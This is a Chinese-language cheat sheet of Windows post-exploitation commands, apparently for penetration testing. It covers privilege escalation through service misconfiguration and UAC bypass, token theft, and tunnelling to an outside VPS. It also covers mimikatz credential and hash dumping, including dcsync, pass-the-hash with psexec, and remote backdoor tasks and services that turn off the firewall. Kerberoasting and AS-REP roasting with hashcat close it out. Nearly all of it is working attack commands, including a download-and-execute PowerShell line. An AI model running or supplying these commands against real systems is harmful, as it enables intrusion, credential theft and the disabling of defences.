#手工查找补丁情况
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn

#MSF后渗透扫描
post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester

#windows exploit suggester
https://github.com/AonCyberLabs/Windows-Exploit-Suggester

#powershell中的sherlock脚本
Import-Module C:\Sherlock.ps1 #下载ps1脚本，导入模块
Find-AllVulns

#Empire内置模块 Empire框架也提供了关于内核溢出漏洞提权的漏洞利用方法
usemodule privesc/powerup/allchecks
execute

https://github.com/SecWiki/windows-kernel-exploits
https://bugs.hacking8.com/tiquan/
https://github.com/Heptagrams/Heptagram/tree/master/Windows/Elevation
https://www.exploit-db.com/
https://i.hacking8.com/tiquan/

查询系统信息
systeminfo 
如果要查看特定的信息，可以使用
systeminfo | findstr /B /C:"OS名称" /C:"OS版本"
主机名
Hostname
环境变量
Set
查看用户信息
Net user
查看服务pid号
Tasklist /svc|find "TermService"
netstat -ano|find "3389"
查看系统名
wmic os get caption
查看补丁信息
wmic qfe get Description,HotFixID,InstalledOn
如果要定位到特定的补丁可以使用如下命令
wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4346084" /C:"KB4509094"
查看当前安装程序
wmic product get name,version

#powerup提供了一些本地提权的方法，可以通过很多实用的脚本来寻找目标机器的windows服务漏洞
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
可直接通过powershell远程加载
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"


#msf 对应的模块为exploit/windows/local/service_permissions  但前提是获得一个会话
run exploit/windows/local/service_permissions #自动化提权，回来的的权限就是system


#当工具无法使用时，也可以手工查找，使用Windows内建工具icacls查看服务启动路径中写权限
例如：icacls "C:\Program Files"
icacls "C:\Program Files\Common Files"

#查看指定目录的权限配置情况
accesschk.exe -dqv "D:\test" -accepteula
参数说明：“M”表示修改，“F”代表完全控制，“CI”代表从属容器将继承访问控制项，“OI”代表从属文件将继承访问控制项。

#检查服务 如果是.SERVICE_ALL_ACCESS的意思是我们对“Vulnerable Service”的属性拥有完全控制权
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
sc qc 服务名   #查看可以完全控制的服务的属性。

accesschk.exe -uwcqv "XXX" * /accepteula > 1.txt //这里XXX为当前用户名

# 注意这里的"="后面要留有空格
sc config VMTools binPath= "net user test1 P@ssw0rd /add"  

# 查看查询该服务的执行路径是否修改成功
sc qc VMTools  

# 记得重启服务
sc stop VMTools
sc start VMTools

# 这里启动时可能存在报错，服务和Windows系统服务控制管理器通信会被认为错误，但命令会正常执行

确定写入权限：icacls "C:\Program Files\program folder"
## 定义：
「M」表示修改、「F」表示完全控制
「CI」代表从属容器将继承访问控制项
「OI」代表从属文件将继承访问控制项

常用命令
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"

icacls "C:\Program Files(x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
icacls "C:\Program Files(x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"

powershell.exe -exec bypass -nop -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"

powershell.exe -exec bypass -Command "& {Import-Module D:/PowerUp.ps1; Invoke-AllChecks}" > 1.txt

powershell.exe -exec bypass -Command "& {Import-Module C:/PowerUp.ps1;Invoke-ServiceAbuse -Name 'VGAuthService' -Username test -Password 123456}"

#Msf
exploit/windows/local/ask       #弹出UAC确认窗口，点击后获得system权限

exploit/windows/local/bypassuac  #此模块将通过进程注入使用可信任发布者证书绕过Windows UAC，它将生成关闭UAC标志的第二个shell。

exploit/windows/local/bypassuac_injection #此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中，该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件，而不是三个单独的二进制文件。但是，它需要选择正确的体系架构（对于SYSWOW64系统也使用x64）。如果指定exe::custom，应在单独的进程中启动 payload 后调用ExitProcess（）


exploit/windows/local/bypassuac_fodhelper#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项，但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom，则应在单独的进程中启动payload后调用ExitProcess（）。

exploit/windows/local/bypassuac_eventvwr#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项，但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom，则应在单独的进程中启动payload后调用ExitProcess（）

exploit/windows/local/bypassuac_comhijack#此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时，会引用这些注册表项，从而导致进程加载用户控制的DLL,这些DLL包含导致会话权限提升的payload。此模块修改注册表项，但在调用payload后将清除该项,这个模块需要payload的体系架构和操作系统匹配，但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe:：custom，则应在单独的进程中启动payloa后调用ExitProcess（）。此模块通过目标上的cmd.exe调用目标二进制文件,因此，如果cmd.exe访问受到限制，此模块将无法正常运行。

#Powershell
Invoke-PsUACme

#Empire
usemodule privesc/bypassuac
usemodule privesc/bypassuac_wscript

#msf 拿到一个会话
use incognito           #进入incognito模块
list_tokens -u          #列出令牌
Delegation Token：也就是授权令牌，它支持交互式登录(例如可以通过远程桌面登录访问)
Impresonation Token：模拟令牌，它是非交互的会话。

这里窃取令牌，主要是窃取进程中的令牌
#使用令牌假冒用户
impresonate_Token "令牌名"

Sweetpotato.exe -l 8888 -a "whoami"

PsExec.exe -s -i -d cmd

python reGeorgSocksProxy.py -l 127.0.0.1 -p 3344 -u http://192.168.1.1/tunnel.nosocket.php

#1.利用msf内置端口转发功能，将3389端口进行映射本地5555端口
portfwd add -l 5555 -p 3389 -r 本地IP地址

#2.直接调用rdesktop
rdesktop 127.0.0.1:5555

# 拿到shell后执行命令
lcx.exe -slave 1.1.1.1 9999 127.0.0.1 3389  ## 1.1.1.1为公网IP，转发3389端口到9999端口

# 配合Linux对应工具 portmap
./portmap -m 2 -p1 9999 -p2 33889  ## 这里p1对应监听端口，p2对应要转发的端口

## Windows远程连接 mstsc
rdesktop 1.1.1.1:33889

python reGeorgSocksProxy.py -p 8888 -u http://x.x.x.x/tunnel.php

## VPS上执行
./ew_for_linux64 -s rcsocks -l 1080 -e 9999

## 然后在目标执行
ew_for_Win.exe -s rssocks -d 1.1.1.1 -e 11000

mimikatz # log
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

sekurlsa::logonpasswords

抓取用户NTLM哈希
sekurlsa::msv

加载dmp文件，并导出其中的明文密码
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full

导出lsass.exe进程中所有的票据
sekurlsa::tickets /export

列出系统中的票据
kerberos::list
kerberos::tgt

清除系统中的票据
kerberos::purge

导入票据到系统中
kerberos::ptc 票据路径

//在域控上执行查看域 domain.com内指定用户root详细信息，包括NTLM哈希
lsadump::dcsync /domain:domain.coim /user:root

//(在域控上执行)读取所有域用户的哈希值
lsadump::lsa /patch

//直接从系统文件 sam.hive 和 system.hive文件获取NTLM Hash
lsadump::sam /sam:sam.hive /system:system.hive

## 拓展方法，从本地SAM文件读取密码哈希
token::elevate
lsadump::sam

proxychains msfconsole
use exploit/windows/smb/psexec
set smbdomain wwl
set rhosts 192.168.223.10
set smbuser administrator
set smbpass 00000000000000000000000000000000:afffeba176210fad4628f0524bfe1942
run

1.winrs
winrs -r:http://IP:5985 -u:.\administrator -p:admin123 "whoami" # 执行单条命令
winrs -r:http://IP:5985 -u:.\administrator -p:admin123 cmd # 返回交互式cmd


2.powershell
单条命令

Invoke-Command -ComputerName server01 -Credential domain01\user01 -ScriptBlock {Get-Culture}
交互式

Enter-PSSession -ComputerName 192.168.100.155 -Credential administrator
需要输入主机账户密码
可以使用票据注入执行

##这里前提是知道用户和密码，也可以用psexec模块
net use \\IP\ipc$ "password" /user:"username" //建立链接
net use
## dir命令查看
dir \\IP\c$
## copy赋值木马
copy C:\a.exe \\IP\C$ //复制a.exe 到目标C盘

net time \\IP
copy shell.exe \\IP\C$
at \\IP 18:53:00 C:\shell.exe  # 定义一个定期时间进行执行shell.exe

schtasks /create /s IP地址 /u administrator /p Liu78963 /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f

schtasks /run /s IP地址 /i /tn backdoor

schtasks /create /s IP地址 /tn test /sc minute /mo 1 /tr "C:\Windows\System32\cmd.exe /c 'whoami > C:\result.txt'" /ru system /f

sc \\[主机名/IP] create [servicename] binpath= "[path]"   #创建计划任务启动程序
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"

sc \\WIN-ENS2VR5TR3N start bindshell  # 启动服务

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall

在域控下打开powershell执行一下命令:
setspn -S Hacker/test.com kerberoasting
命令解释:
Hacker是服务名
test.com是域名
kerberoasting是域用户名

查询所有SPN命令看看是否配置成功
setspn -q */*

GetUserSPNs.py工具请求服务票据:
    Impacket中的GetUserSPNs.py脚本可以请求注册于用户下所有SPN的服务票据,
    也可以请求注册于指定用户下的SPN服务票据。
#请求注册于用户下所有SPN的服务票据,并以hashcat能够破解的格式保存为spn.txt文件:
GetUserSPNs.py -request -dc-ip 10.211.55.100 'test.com/ruyu' -hashes :4c25ed57e37131073192a98148fbc30f -outputfile spn.txt

mimikatz.exe "kerberos::list /export"  "exit"

## 拓展Empire下的Invoke-Kerberoast.ps1
Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat

python2 tgsrepcrack.py password.txt xx.kirbi
## xx.kirbi 为票据信息

然后用hashcat进行爆破
hashcat -m 13100 hash.txt pass.txt

Rubeus.exe asreproast /format:john /outfile:hash.txt

SREPROast.ps1(域内机器)脚本利用
    下载: 

    修改powershell策略可以加载脚本
    Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
    命令:
    Import-Module .\ASREPRoast.ps1
    Invoke-ASREPRoast | select -ExpandProperty Hash

非域内机器的我这里的利用思路是通过adfind或者bloodhound查询不需要Kerberos
预身份验证的账户,之后在使用Impacket下的GetNPUsers.py脚本获取指定用户的Hash
加密的Login Session Key。
Adfind查询:
Adfind.exe -h 10.211.55.100 -u test\lisi -up Pass123 -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" dn

hashcat64.exe -m 18200 hash.txt pass.txt --force